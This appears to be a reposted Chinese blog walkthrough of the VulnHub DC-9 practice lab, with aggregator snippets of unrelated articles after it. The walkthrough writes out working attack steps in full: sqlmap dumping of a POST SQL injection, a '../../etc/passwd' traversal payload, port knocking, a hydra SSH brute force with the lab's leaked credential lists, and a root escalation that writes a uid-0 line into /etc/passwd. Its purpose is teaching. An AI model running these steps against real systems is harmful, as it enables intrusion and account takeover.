vulnhub靶场之DC-9

news2024/11/15 15:32:54

一.环境搭建

1.靶场描述

DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
 

只有一个flag

2.靶场下载地址

https://www.vulnhub.com/entry/dc-9,412
 

image-20240109150106054

3.启动靶场

image-20240109150139977

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透测试

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24
 

image-20240109150619965

arp-scan -l
 

image-20240109150719519

靶场的真实ip地址是192.168.52.131

(2)探测端口及服务

nmap -A -v -p- 192.168.52.131
 

image-20240109151001815

注意到ssh服务端口是filtered的,可能是因为什么原因关闭了

image-20240109151534928

发现开放了80端口,APache httpd 2.4.38((debian))
 

也可以使用masscan进行探测

masscan --rate=10000 --ports 0-65535 192.168.52.131
 

image-20240109151721992

(3)web指纹识别

whatweb -v 192.168.52.131
 

image-20240109152351370

3.渗透测试

(1)访问web服务

http://192.168.52.131
 

image-20240109152800589

没有如何有用的信息

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.130
 

image-20240109153022173

2)nikto扫描网站结构
nikto -h http://192.168.52.131
 

image-20240109153211906

上面两个都没有扫描到有用的信息

3)dirsearch目录扫描
dirsearch -u 192.168.52.131 -e * -x 403 --random-agent
 

image-20240109153525872

我们可以看到扫描到2个有用的信息,一个/inex.php/login,一个/manage.php

我们分别访问

image-20240109153727723

image-20240109153741635

我们可以看到是一个登录页面,看来需要我们进行登录,但是不知道用户名和密码,我们对页面进行探测

(3)渗透测试

1)页面探测

image-20240109155037059

我们可以看到4个页面,我们一一进行探测,最后发现search存在POST型SQL注入

image-20240109155648721

2)SQL注入

我们进行测试

search=1
 

image-20240109160220516

search=1' or 1#
 

image-20240109160154425

证明存在SQL注入,我们使用sqlmap进行爆破

爆破数据库

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1'

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' --dbs
 

image-20240109164603256

image-20240109164639922

我们看到存在3个数据库,我们爆破 Staff

爆破表名

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' --tables
 

image-20240109165121805

image-20240109164955448

爆破字段名

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' --columns
 

image-20240109165142093

image-20240109165200750

爆破用户名和密码

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -C 'UserID,Username,Password' --dump
 

image-20240109165352353

image-20240109165414955

我们可以看到只有一个用户名和密码,密码是md5加密的,我们进行解密即可

image-20240109170603479

密码是transorbital1

3)登录后台

我们接着用该密码登入后台

image-20240109170740474

就多了个Add Record界面,注意到下面有File does not exist,想到是程序引用或读取了一个不存在的文件才会回显这个,接着用参数fuzz测试一下

burpsuite抓包,构建payload

?§§=../../../../../etc/passwd
 

image-20240109204619893

然后再把我们的参数字典加载进来

image-20240109201834786

image-20240109203037986

image-20240109204228910

参数名是file,存在目录遍历漏洞

4)端口敲门服务

考虑到ssh端口是关闭的,可能是开启了knock服务(参考端口敲门服务),利用文件包含确认一下,一般开启了knock服务就会存在/etc/knockd.conf文件

构造payload

/manage.php?file=../../../../../etc/knockd.conf
 

image-20240109204350312

果然有,开启ssh服务得依次敲击7469,8475,9842端口,利用netcat进行敲击

nc -z 192.168.52.131 7469 8475 9842
 

image-20240109205447903

敲击完后发现端口打开了

5)ssh爆破

我们使用ssh进行登录,发现登录不了

image-20240109205934820

想起之前SQLmap跑出过一个users的数据库, 存放网站用户信息的,我们去瞧一下

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'users' -dump
 

image-20240109210151740

image-20240109210218085

用这些账号密码组成字典,爆破ssh

username.txt

marym 
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
 

password.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
 

接下来用九头蛇进行爆破

hydra -L username.txt -P password.txt ssh://192.168.52.131
 

image-20240109210739070

爆破出来3个用户名和密码

chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
 

尝试登入发现janitor用户有东西

image-20240109211236603

image-20240109211115878

有几个密码,复制到刚才的password文件继续爆破ssh

image-20240109211616657

新添加了一个用户

我们进行登录

image-20240109211756620

image-20240109212239263

发现有个root权限文件

6) 提权

发现这里有个脚本文件可以无密码以root用户权限执行,我们进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件

image-20240109212533285

我们查看文件内容

这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限,事先参考/etc/passwd解释

先利用openssl命令创建一个密码

openssl passwd -1 -salt <用户名> <密码>
openssl passwd -1 -salt MS02423 MS02423
 

得到hash密码,

$1$MS02423$xCJ3D9eufDuODS1PBNjp51
 

我们切换到tmp目录下,新建一个文件

cd /tmp
echo 'MS02423:$1$MS02423$xCJ3D9eufDuODS1PBNjp51:0:0::/root:/bin/bash' > MS02423
 

image-20240109220506874

再回到/opt/devstuff/dist/test目录,执行程序test,将MS02423的文件内容写入到/etc/passwd文件里面

cd /opt/devstuff/dist/test
 
sudo ./test /tmp/MS02423 /etc/passwd
 

image-20240109214004115

可以看到MS02423用户已经添加到/etc/passwd文件里了,接下来然后使用命令su MS02423 切换到我们添加的MS02423用户,输入之前设置好密码即可登录

跳转到/root目录下,成功看到flag

image-20240109215910411

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.burp工具的使用

9.dirsearch目录扫描

10.SQL注入

11.ssh登录

12.openssl命令

13.端口敲门服务

14.hydra爆破

15.目录遍历漏洞

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1387206.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NLP论文阅读记录 - 2021 | WOS 利用 ParsBERT 和预训练 mT5 进行波斯语抽象文本摘要

文章目录 前言0、论文摘要一、Introduction1.1目标问题1.2相关的尝试1.3本文贡献 二.前提三.本文方法A. 序列到序列 ParsBERTB、mT5 四 实验效果4.1数据集4.2 对比模型4.3实施细节4.4评估指标4.5 实验结果4.6 细粒度分析 五 总结思考 前言 Leveraging ParsBERT and Pretrained …

C++内存分配策略

目录 基础概念 内存布局 分配方式 实现 1.new和delete 2.利用空间配置器alloc 3.用malloc和free 4.静态内存分配 基础概念 在讲内存分配之前&#xff0c;先对一些基础概念进行阐述&#xff0c;以便能更好的讨论问题 内存布局 代码编译为可执行程序后运行占用的内存可…

【现代密码学】笔记5--伪随机置换(分组加密)《introduction to modern cryphtography》

【现代密码学】笔记5--伪随机置换&#xff08;分组加密&#xff09;《introduction to modern cryphtography》 写在最前面5 伪随机排列实践构造&#xff08;块密码/分组密码&#xff09; 写在最前面 主要在 哈工大密码学课程 张宇老师课件 的基础上学习记录笔记。 内容补充&…

云服务器部署Stable Diffusion Webui从0到1总结:反复重启+循环debug

文章目录 在学校服务器部署Stable Diffusion Webui&#xff08;一&#xff09;准备工作&#xff08;二&#xff09;环境配置&#xff08;三&#xff09;git拉取项目到本地&#xff08;四&#xff09;运行项目 遇到的问题&#xff1a;&#xff08;一&#xff09;使用git clone时…

jmeter--6.跨线程组关联

目录 1. 跨线程组实现接口关联 2. 跨线程组实现Cookie关联 1. 跨线程组实现接口关联 1.1 根据json/正则的方式提取到需要的响应数据 1.2 在接口下新增一个BeanShell 后置处理器&#xff0c;并通过函数助手写入【${__setProperty(new_token,${access_token},)}】&#xff0c;…

基于Java (spring-boot)的社团管理系统

一、项目介绍 系统管理员的功能概述&#xff1a; ①用户管理 a.注册用户账户 当一个新用户注册时&#xff0c;用户填写基本信息并上传。用户基本信息包括账号、 姓名、密码、手机、地址等信息。 b.用户信息管理 管理员可以查看系统所有用户的基本信息&#xff0c;并修改和…

10分钟快速上手LLM大模型Python前端开发(三)之显示模块(一)

10分钟快速上手LLM大模型Python前端开发&#xff08;三&#xff09;之显示模块&#xff08;一&#xff09; 显示代码初步测试 通用显示方法显示字符串显示dataframe显示Markdown 微信公众号&#xff1a;leetcode_algos_life&#xff0c;代码随想随记 小红书&#xff1a;4124081…

基于Java (spring-boot)的停车场管理系统

一、项目介绍 基于Java (spring-boot)的停车场管理系统、预订车位系统、停车缴费系统功能&#xff1a; 登录、注册、后台首页、用户信息管理、车辆信息管理、新增车辆、车位费用设置、停泊车辆查询、车辆进出管理、登录日志查询、个人中心、预定停车位、缴费信息。 适用人群&…

jmeter--5.断言

目录 1. 响应断言 1.1 添加断言 1.2 名词解释 断言失败显示示例 2. json断言 2.1 添加断言 2.2 名词解释 断言失败显示示例 2.3 json断言应用 3. beanshell断言 3.1 添加断言 3.2 原理 断言失败显示示例 1. 响应断言 1.1 添加断言 线程组->添加->断言->…

202406读书笔记|《沉睡的线条世界》——翻山越岭,只为与你分享点滴的快乐

《沉睡的线条世界》登登登Dn绘著&#xff0c;简简单单的小画&#xff0c;简简单单的线条&#xff0c;简简单单的语言&#xff0c;温馨又有一点暖心。 怎样的你都好&#xff0c;做最真实的自己。 部分节选如下&#xff1a; 愿你我永远有热情&#xff0c;永远能为生活的每一个小惊…

运筹说 第67期 | 动态规划模型的建立与求解

通过前一期的学习&#xff0c;我们已经学会了动态规划的基本概念和基本原理。本期小编带大家学习动态规划模型的建立与求解。 动态规划模型的建立 一 概述 建立动态规划的模型&#xff0c;就是分析问题并建立问题的动态规划基本方程。 成功地应用动态规划方法的关键&#x…

[渗透测试学习] Hospital - HackTheBox

文章目录 信息搜集getshell提权信息搜集 nmap扫描一下端口 发现8080端口和443端口有http服务 然后发现3389端口是启用了ms-wbt-server服务 在对443端口的扫描没有收获,并且只有邮箱登录界面无法注册 接着看向8080端口,我们随便注册用户登录后发现有文件上传功能 getshell …

Linux入门级常用命令学习笔记

以下命令是我跟着编程界的大佬鱼皮学习Linux时用的命令&#xff0c;我把它都记下来&#xff0c;权当作笔记&#xff0c;可供自己后期反复练习使用&#xff0c;让我们学习一下最基本的Linux命令吧。 一、Linux实战命令 在dos下 【ssh 服务器ip】可以连接服务器&#xff0c;输入…

HCIA基础知识

IP地址、静态路由、动态路由、交换机 OSPF RIP DHCP VLAN ACL NAT OSI TCP/IP UDP TCP 三次握手&#xff0c;四次挥手&#xff0c;报头 什么是网络&#xff1f; 由网络连接设备通过传输介质将网络终端设备连接起来&#xff0c;进行资源共享、信息传递的平台。 OSI七…

运筹说 第98期|无约束极值问题

上一期我们一起学习了关于非线性规划问题的一维搜索方法的相关内容&#xff0c;本期小编将带大家学习非线性规划的无约束极值问题。 下面&#xff0c;让我们从实际问题出发&#xff0c;学习无约束极值问题吧&#xff01; 一、问题描述及求解原理 1 无约束极值问题的定义 无约…

【C++干货铺】会旋转的二叉树——AVLTree

个人主页点击直达&#xff1a;小白不是程序媛 C系列专栏&#xff1a;C干货铺 代码仓库&#xff1a;Gitee 目录 前言 AVL树 AVL树的概念 AVL树结点的定义 AVL树的插入 寻找插入结点的位置 修改平衡因子 AVL树的旋转 右单旋 左单旋 先右旋再左旋 先左旋再右旋 AVL树…

【JAVA-打包jar】jar不能双击运行,Jar包找不到主类

我的问题比较简单&#xff0c;搞了一下午&#xff0c;查阅了很多教程&#xff0c;无意发现&#xff0c;居然是 jdk过期需要更新&#xff01; 气的吐血&#xff01; 所以不要废话&#xff0c;首先检查自己的环境变量和JDK&#xff01;&#xff01;&#xff01; 环境变量&…

ML:2-1-4理解python如何实现forward prop

文章目录 1. 单层上的向前传播forward prop2. 前向传播的一般实现3. 通用人工智能 1. 单层上的向前传播forward prop 【了解在python中如何实现forward prop】 继续使用咖啡烘焙模型&#xff1a; 了解经过每一个神经元的预测过程。设置每一个神经元的w&#xff0c;b值。从而得…

(2024,分数蒸馏抽样,Delta 降噪分数,LoRA)PALP:文本到图像模型的提示对齐个性化

PALP: Prompt Aligned Personalization of Text-to-Image Models 公和众和号&#xff1a;EDPJ&#xff08;进 Q 交流群&#xff1a;922230617 或加 VX&#xff1a;CV_EDPJ 进 V 交流群&#xff09; 目录 0. 摘要 4. 提示对齐方法 4.1 概述 4.2 个性化 4.3 提示对齐分数抽…

深度学习记录--Train/dev/test sets

为什么需要训练集、验证集(简单交叉验证集)和测试集&#xff1f; 为了创建高效的神经网络&#xff0c;需要不断进行训练(迭代) 一个神经网络的产生 从最开始的想法idea开始&#xff0c;然后付诸于代码code&#xff0c;根据结果验证反过来对一开始的想法idea进行修正&#xf…